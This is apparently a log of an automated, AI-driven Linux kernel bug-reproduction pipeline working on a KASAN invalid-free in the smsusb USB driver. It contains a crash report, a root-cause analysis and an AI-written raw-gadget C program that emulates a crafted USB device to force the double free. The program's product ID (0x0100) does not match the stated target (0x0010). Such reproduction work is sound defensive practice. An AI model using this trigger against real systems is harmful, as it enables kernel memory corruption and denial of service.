openat(AT_FDCWD, "/dev/raw-gadget", O_RDWR) = 3
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
openat(AT_FDCWD, "/sys/class/udc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
fstat(4, {st_mode=S_IFDIR|0755, st_size=0, ...}) = 0
getdents64(4, 0x555569c1f7a0 /* 35 entries */, 32768) = 1104
close(4)                                = 0
ioctl(3, USB_RAW_IOCTL_INIT, 0x7ffeecd478c0) = 0
close(3)                                = 0
[+] Successfully opened /dev/raw-gadget
[+] Found UDC: dummy_udc.2
[+] Successfully initialized raw-gadget with dummy_udc.2
write(1, "[+] Successfully opened /dev/raw-gadget\n[+] Found UDC: dummy_udc.2\n[+] Successfully initialized raw-"..., 124) = 124
exit_group(0)                           = ?
+++ exited with 0 +++

Crash Report: 


86/4 2026/09/04 10:27 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8953
							output: 72
							thoughts: 239
						

Thoughts:
**My Thought Process on the Capability Probe Results**

Alright, so I've just finished running this capability probe, and I need to analyze what happened to determine the next steps. The core of the task is to understand whether the probe succeeded, if there was any terminal error, and if the observed output aligns with what we'd expect from a successful probe (or a probe that specifically *doesn't* trigger the bug we're looking for).

First, let's look at the context. I know the bug we're investigating is a `KASAN: invalid-free in usb_free_urb` within the `smsusb_term_device` function. The program I executed was a capability probe, which means its primary goal isn't to crash the system or trigger the bug, but rather to verify that the environment is set up correctly and that the basic components required for further testing are functioning.

Now, I'm reviewing the console output. I see:
```
[+] Successfully opened /dev/raw-gadget
[+] Found UDC: dummy_udc.2
[+] Successfully initialized raw-gadget with dummy_udc.2
```
This output is a good sign. It indicates that the raw gadget device was accessed, a usable UDC (USB Device Controller) was identified, and the initialization process completed without any apparent issues. This suggests the underlying kernel modules and device drivers are present and functioning at a basic level.

Next, I'm examining the `strace` output. The crucial piece of information here is that the program exited with a status code of 0. In Unix-like systems, an exit code of 0 universally signifies successful execution.

Given these observations – the clean console output and the successful exit code – I can definitively conclude that the capability probe itself passed. The environment is, as far as this probe can tell, ready for more intensive testing.

Now, I need to translate these findings into the required output fields for the `set-results` tool.

*   **`TerminalError`**: Since the probe executed successfully and there were no unexpected errors reported in the console or `strace`, this field should be empty. There's no lingering error state to report.
*   **`ProbePassed`**: As I've just concluded, the probe ran to completion without issue and indicated a ready environment. Therefore, `ProbePassed` must be set to `true`.
*   **`TitleMatches`**: The purpose of this field is usually to check if the output *matches* a specific expected crash title. Since this was a capability probe and its goal was *not* to trigger the bug (but rather to check the environment), we are not looking for a specific crash title. Therefore, `TitleMatches` should be `false`. If a crash *had* occurred, and it matched our expected bug signature, then this might be `true`. But here, the success of the probe means no crash occurred.
*   **`Feedback`**: I need to provide a concise summary of my findings for the next stage. My analysis clearly indicates that the environment is prepared. The probe has successfully validated the necessary setup. Therefore, the feedback should communicate this readiness and suggest proceeding to the next logical step, which is generating the full reproducer. Something like: "The environment is ready and the agent should now proceed to generate the full reproducer in the next iteration." seems appropriate.

So, to recap my internal logic: Probe output + strace exit code = successful probe. Successful probe = `ProbePassed: true`, `TerminalError: ""`, `TitleMatches: false`. Feedback should reflect readiness for the next step.

I'm now ready to use the `set-results` tool with these parameters.


87/4 2026/09/04 10:27 tool set-results
0m Args:
map[Feedback:The environment probe was successful. /dev/raw-gadget is accessible and dummy_udc is available. The environment is ready. Please proceed to generate the full reproducer in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]

Results:
map[Feedback:The environment probe was successful. /dev/raw-gadget is accessible and dummy_udc is available. The environment is ready. Please proceed to generate the full reproducer in the next iteration. ProbePassed:true TerminalError: TitleMatches:false]

88/3 2026/09/04 10:27 action loop-controller
0m Results:
map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The environment probe was successful. /dev/raw-gadget is accessible and dummy_udc is available. The environment is ready. Please proceed to generate the full reproducer in the next iteration. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

89/2 2026/09/04 10:27 iteration 1
14m
90/3 2026/09/04 10:27 action If
6m Args:
map[OracleFeedback:The environment probe was successful. /dev/raw-gadget is accessible and dummy_udc is available. The environment is ready. Please proceed to generate the full reproducer in the next iteration.]

91/4 2026/09/04 10:27 agent strategy-refiner
6m Model:
deep-reasoning

Instruction:
You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.

=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.

=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Prompt:
Bug Description: KASAN: invalid-free in usb_free_urb

==================================================================
BUG: KASAN: invalid-free in urb_destroy drivers/usb/core/urb.c:25 [inline]
BUG: KASAN: invalid-free in kref_put include/linux/kref.h:65 [inline]
BUG: KASAN: invalid-free in usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
Free of addr ffff888058ab1000 by task kworker/1:1/48

CPU: 1 UID: 0 PID: 48 Comm: kworker/1:1 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Workqueue: usb_hub_wq hub_event
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report_invalid_free+0xea/0x110 mm/kasan/report.c:557
 check_slab_allocation mm/kasan/common.c:-1 [inline]
 __kasan_slab_pre_free+0x104/0x120 mm/kasan/common.c:261
 kasan_slab_pre_free include/linux/kasan.h:199 [inline]
 slab_free_hook mm/slub.c:2693 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x173/0x650 mm/slub.c:6792
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __do_kmalloc_node mm/slub.c:5414 [inline]
 __kmalloc_node_track_caller_noprof+0x4b4/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Freed by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2748 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x1c5/0x650 mm/slub.c:6792
 skb_kfree_head net/core/skbuff.c:1083 [inline]
 skb_free_head net/core/skbuff.c:1095 [inline]
 skb_release_data+0x85e/0xab0 net/core/skbuff.c:1122
 skb_release_all net/core/skbuff.c:1197 [inline]
 __kfree_skb+0x5d/0x210 net/core/skbuff.c:1211
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:817 [inline]
 nsim_dev_trap_report_work+0x7ac/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

The buggy address belongs to the object at ffff888058ab0000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff888058ab0000, ffff888058ab1000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x58ab0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
head: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2820(GFP_ATOMIC|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 3388, tgid 3388 (kworker/u8:12), ts 77776651868
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3347 [inline]
 allocate_slab+0x7d/0x620 mm/slub.c:3462
 new_slab mm/slub.c:3513 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7410
 refill_sheaf mm/slub.c:2885 [inline]
 __pcs_replace_empty_main+0x2c8/0x6c0 mm/slub.c:4774
 alloc_from_pcs mm/slub.c:4850 [inline]
 slab_alloc_node mm/slub.c:4984 [inline]
 __do_kmalloc_node mm/slub.c:5413 [inline]
 __kmalloc_node_track_caller_noprof+0x548/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
page last free pid 48 tgid 48 ts 77606871666 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_pages_ok+0xb6c/0xc60 mm/page_alloc.c:1596
 smscore_unregister_device+0x48a/0x780 drivers/media/common/siano/smscoreapi.c:1228
 smsusb_term_device+0x1a0/0x3d0 drivers/media/usb/siano/smsusb.c:349
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250

Memory state around the buggy address:
 ffff888058ab0f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888058ab0f80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff888058ab1000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
                   ^
 ffff888058ab1080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888058ab1100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
==================================================================

Current Strategy: ### Root Cause Analysis

The bug is a KASAN invalid-free (use-after-free / double-free) caused by incorrect URB buffer management in the `smsusb` driver. 

During initialization, `smsusb_init_device()` allocates a large DMA `common_buffer` via `smscore_register_device()`. This buffer is then divided into smaller chunks for individual URBs. 
When submitting these URBs, `smsusb_submit_urb()` sets the `urb->transfer_buffer` to point to one of these chunks and crucially sets the `URB_FREE_BUFFER` flag:
```c
	surb->urb->transfer_flags |= URB_FREE_BUFFER;
```
This flag instructs the USB core to automatically call `kfree(urb->transfer_buffer)` when the URB is destroyed. However, because the buffer is just an offset into the larger `common_buffer` (which is managed by `smscore`), it should never be individually freed by the USB core.

If the device is disconnected or if the probe fails (e.g., `usb_submit_urb` fails), the error path `err_unregister_device` calls `smsusb_term_device()`. This function first calls `smscore_unregister_device()`, which frees the entire `common_buffer`. Immediately after, it loops through and frees the URBs via `usb_free_urb()`. 

When `urb_destroy()` is invoked, it sees the `URB_FREE_BUFFER` flag and calls `kfree()` on the `transfer_buffer`. Since the pointer points inside the already-freed `common_buffer`, this results in a double-free (for the first URB chunk) or an invalid-free (for subsequent chunks).

### Reproduction Strategy

To reproduce this bug reliably with a minimal C program, we don't even need to disconnect the device. We can intentionally craft a USB descriptor that causes `usb_submit_urb()` to fail during probe, forcing the driver into the buggy error path.

The driver expects a Bulk IN endpoint but only checks the direction (`USB_DIR_IN`). If we provide an **Interrupt** IN endpoint instead, `usb_submit_urb()` will reject the URB with `-EINVAL` due to a pipe type mismatch. This immediately triggers the cleanup path and the KASAN crash.

**Steps to reproduce (using `raw-gadget` or `Dummy HCD`):**
1. Emulate a USB device that matches the `smsusb` driver's ID table (e.g., `idVendor = 0x187f`, `idProduct = 0x0010` for Siano Stellar ROM).
2. Define a Configuration Descriptor with 1 Interface.
3. Define 2 Endpoint Descriptors for the interface:
   - **Endpoint 1 (IN):** Address `0x81`, Attributes `0x03` (Interrupt), `wMaxPacketSize = 512`. *(The Interrupt attribute is the key to failing the probe).*
   - **Endpoint 2 (OUT):** Address `0x02`, Attributes `0x02` (Bulk), `wMaxPacketSize = 512`.
4. Connect the emulated USB device.
5. The `smsusb` driver will bind to the device, allocate the `common_buffer`, and attempt to submit the first URB.
6. `usb_submit_urb()` will fail due to the Bulk vs. Interrupt mismatch.
7. The driver will jump to `err_unregister_device`, free the `common_buffer`, and then destroy the URB, triggering the invalid `kfree()` and the KASAN report.
Feedback: The environment probe was successful. /dev/raw-gadget is accessible and dummy_udc is available. The environment is ready. Please proceed to generate the full reproducer in the next iteration.

Reply:
An excellent root cause analysis! The bug is indeed a KASAN invalid-free caused by the `smsusb` driver incorrectly setting the `URB_FREE_BUFFER` flag on a buffer that is managed by `smscore` (the `common_buffer`). When `usb_submit_urb()` fails during probe, the error path frees the `common_buffer` and then calls `usb_free_urb()`, which attempts to `kfree()` the already-freed buffer chunk again.

To trigger this reliably, we can emulate a USB device that matches the `smsusb` driver but provides an **Interrupt IN** endpoint instead of the expected **Bulk IN** endpoint. The driver will attempt to submit a Bulk URB to this Interrupt endpoint, causing `usb_submit_urb()` to reject it with `-EINVAL` and immediately triggering the buggy cleanup path.

Here is the complete C reproducer using `raw-gadget`.

```c
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		perror("open /dev/raw-gadget");
		exit(1);
	}

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	strcpy((char *)init.driver_name, "dummy_udc");
	strcpy((char *)init.device_name, "dummy_udc.0");
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		perror("ioctl USB_RAW_IOCTL_INIT");
		exit(1);
	}
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		perror("ioctl USB_RAW_IOCTL_RUN");
		exit(1);
	}
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	struct usb_raw_ep_io io;
	io.ep = ep;
	io.flags = 0;
	io.length = sizeof(*desc);
	io.data = (uint8_t *)desc;
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &io) < 0) {
		perror("ioctl USB_RAW_IOCTL_EP_ENABLE");
	}
}

static void usb_raw_vbus_draw(void)
{
	struct usb_raw_vbus_set vbus;
	vbus.mA = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		perror("ioctl USB_RAW_IOCTL_VBUS_DRAW");
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void handle_ep0(void)
{
	struct usb_raw_event event;
	uint8_t buf[256];

	while (1) {
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			perror("ioctl USB_RAW_IOCTL_EVENT_FETCH");
			break;
		}

		if (event.type == USB_RAW_EVENT_CONNECT) {
			printf("Connected\n");
		} else if (event.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event.ctrl;
			struct usb_raw_ep_io io;
			io.ep = 0;
			io.flags = 0;
			io.length = 0;
			io.data = NULL;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io.length = sizeof(dev_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = (uint8_t *)&dev_desc;
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io.length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						memcpy(buf, str_desc, sizeof(str_desc));
						io.length = sizeof(str_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
					perror("ioctl USB_RAW_IOCTL_EP0_WRITE");
				}
			} else {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					perror("ioctl USB_RAW_IOCTL_EP0_READ");
				}
			}
		}
	}
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	handle_ep0();
	return 0;
}
```

92/5 2026/09/04 10:27 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8233
							output: 39
							thoughts: 350
						

Thoughts:
**The Core Problem and My Strategy for Resolution**

I've stumbled upon a KASAN invalid-free bug within the `usb_free_urb` function, specifically triggered by the `smsusb` driver. After a thorough root cause analysis, it's become clear that the issue stems from a misunderstanding of memory management when handling URBs. The `smsusb_submit_urb()` function incorrectly flags the `transfer_buffer` with `URB_FREE_BUFFER`. The crux of the problem is that this `transfer_buffer` isn't an independently allocated buffer; it's actually a segment derived from a larger `common_buffer` that's allocated by `smscore_register_device()`.

The invalid-free occurs when the device is being terminated, for instance, during a probe failure. In such scenarios, `smsusb_term_device()` is invoked, which in turn calls `smscore_unregister_device()`. This unregistration process leads to the deallocation of the `common_buffer`. Immediately following this, `usb_free_urb()` is called. Because the `URB_FREE_BUFFER` flag is still set on the URB's `transfer_buffer`, `usb_free_urb()` attempts to `kfree()` this buffer. However, since this buffer is part of an already freed `common_buffer`, this results in an invalid-free, tripping KASAN.

To address this, my strategy is to emulate a specific USB device. I've identified the necessary parameters for this emulation: `idVendor = 0x187f` and `idProduct = 0x0010`, corresponding to a Siano Stellar ROM. This emulated device will require one interface with two endpoints. The first endpoint will be an IN endpoint (address `0x81`) with interrupt attributes ( `0x03`) and a `wMaxPacketSize` of 512. The second endpoint will be an OUT endpoint (address `0x02`) with bulk attributes (`0x02`) and a `wMaxPacketSize` of 512 as well.

Before proceeding further with the emulation setup, I need to confirm the `smsusb` driver's ID table. I'll be using `codesearch-definition-source` or `grepper` to locate this information within the `drivers/media/usb/siano/smsusb.c` file, ensuring my emulation precisely matches what the driver expects.


93/5 2026/09/04 10:27 tool grepper
0m Args:
map[Expression:smsusb_id_table PathPrefix:drivers/media/usb/siano/smsusb.c]

Results:
map[Output:drivers/media/usb/siano/smsusb.c=598=static int smsusb_resume(struct usb_interface *intf)
--
drivers/media/usb/siano/smsusb.c-628-
drivers/media/usb/siano/smsusb.c:629:static const struct usb_device_id smsusb_id_table[] = {
drivers/media/usb/siano/smsusb.c-630-	/* This device is only present before firmware load */
--
drivers/media/usb/siano/smsusb.c-719-
drivers/media/usb/siano/smsusb.c:720:MODULE_DEVICE_TABLE(usb, smsusb_id_table);
drivers/media/usb/siano/smsusb.c-721-
drivers/media/usb/siano/smsusb.c=722=static struct usb_driver smsusb_driver = {
--
drivers/media/usb/siano/smsusb.c-725-	.disconnect		= smsusb_disconnect,
drivers/media/usb/siano/smsusb.c:726:	.id_table		= smsusb_id_table,
drivers/media/usb/siano/smsusb.c-727-
]

94/5 2026/09/04 10:27 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8926
							output: 41
							thoughts: 15
						

Thoughts:
**My Thought Process Regarding `smsusb_id_table`**

Alright, my immediate inclination is to investigate the contents of this `smsusb_id_table`. I need to understand what data this table holds, its structure, and how it's being utilized within the system. My goal is to gain a comprehensive overview of its role, particularly in relation to USB identification, as the name suggests. I'll be looking for information on the types of USB devices it might be cataloging, the unique identifiers it stores (like vendor IDs, product IDs, or perhaps more specific device class information), and any associated metadata. Understanding the scope and purpose of this table is crucial before I can even begin to consider any further analysis or potential actions.


95/5 2026/09/04 10:28 tool read-file
0m Args:
map[File:drivers/media/usb/siano/smsusb.c FirstLine:629 LineCount:50]

Results:
map[Contents: 629:	static const struct usb_device_id smsusb_id_table[] = {
 630:		/* This device is only present before firmware load */
 631:		{ USB_DEVICE(0x187f, 0x0010),
